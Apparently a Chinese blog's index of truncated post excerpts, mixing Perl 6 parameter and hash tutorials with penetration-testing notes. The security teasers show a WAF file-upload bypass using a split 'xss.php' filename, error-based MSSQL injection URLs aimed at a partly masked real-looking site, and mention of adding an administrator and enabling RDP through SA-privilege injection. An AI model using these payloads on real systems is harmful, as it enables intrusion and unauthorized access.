摘要： 1 use v6; 2 #如果参数是可选的， 可以在后面加个?后定义 3 sub Choo($x, $y?){ 4 say $x+$y; 5 } 6 Choo(1); 7 Choo(1,2); 8 #具名参数， 也就是字典形式的调用 9 sub Dit(:name($n), :age($a)){ 10 say $n,' is ', $a; 11 } 12 Dit(nam... 阅读全文

摘要： 默认情况下， 参数不可更改，如果要更改， 可以加 is copy 或 is rw 又或者， 你用原来的参数名字， 像下面这样: is copy 跟 is rw的差别 is copy相当于copy一份， 而is rw， 相当于可读写， 参数还是原来的， 这可想像成C中的指针: 阅读全文

摘要： 1：WTS-WAF 绕过上传 原内容： Content-Disposition: form-data; name="up_picture"; filename="xss.php" 添加回车 Content-Disposition: form-data; name="up_picture"; filename="xss.ph p" 2：百度云上传绕过见下： 百度云绕过就简单的很多很多，在对文件... 阅读全文

摘要： my %hash = (1,2,3,4); say %hash; my %hash2 = (a => 1, b => 2); say %hash2; my %hash3 = (:name('root'), :host('localost')); say %hash3; 阅读全文

摘要： 对于这种注入， 如果能用工具， 就用工具， 因为特别的麻烦 阅读全文

摘要： 强制字符转成数字， 所以报错， 能获得数据 查版本号: http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1 and @@version=1-- 查数据库版本: http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1 and db_name()=1-- 查当前数据库用户(如果看到dbo 那么多... 阅读全文

摘要： 删除: 恢复: 对于mssql SA权限的注入， 最简单的运行方法可以用如下方法测试: 在注入方面， 如果要恢复， 可以这样: 或者： 在注入添恢复扩展后， 用如下方式可添加管理员与添加3389： #上面第四条语句， 是dos下的注删表操作， 关于开3389与查看3389窗口， 可查看如下链接: # 阅读全文

摘要： use warnings; use strict; open EXE, "cmd.exe" or die "Can not open cmd.exe:$!\n"; open EXEBACK, '>', 'c.exe' or die "Can not open c.exe:$!\n"; binmode(EXE); binmode(EXEBACK); while(){ print EX... 阅读全文

摘要： 服务端: 客户端: 阅读全文

摘要： 默认地， perl提交post登录时是不会重定向的 要让它重定向， 可以用如下方法: 阅读全文